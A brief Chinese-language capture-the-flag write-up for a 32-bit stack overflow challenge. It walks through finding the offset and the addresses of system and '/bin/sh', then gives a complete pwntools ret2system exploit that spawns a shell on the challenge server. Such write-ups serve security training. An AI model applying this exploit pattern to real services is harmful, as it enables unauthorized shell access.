我们拿到程序,先运行一下,发现没有特别的地方
查看程序的保护机制
发现开启了NX保护,就是栈不可执行(ctfwiki上好像有详细说明)
查看main函数
发现有一个vul这个函数,跟进去看看
首先我们得到偏移为0x88+0x4:这个程序为32位程序,所以main函数中的ebp的值在栈上是32位,也就是4个字节,所以加0x4才能到达函数的返回地址
这个题是提示我们是ROP,那自然想到找一下system函数的地址和"/bin/sh"字符串的地址,先找下system的
奈斯,接着shift+f12找binsh
然后跟进去,发现binsh字符串的地址
然后直接写exp打一下
不过有个点要注意,system函数调用后会有一个返回地址,我们直接用p32函数写个零进去就行(或者写私四个垃圾字符'aaaa'之类的,因为我们只要拿到shell就行了)
from pwn import *
ip = '124.126.19.106'
port = '30353'
r = remote(ip,port)
offset = 0x88 + 0x4
system_addr = 0x08048320
binsh_addr = 0x0804a024
payload = 'A' * offset + p32(system_addr) + p32(0) + p32(binsh_addr)
r.sendline(payload)
r.interactive()
奈斯,然后直接cat flag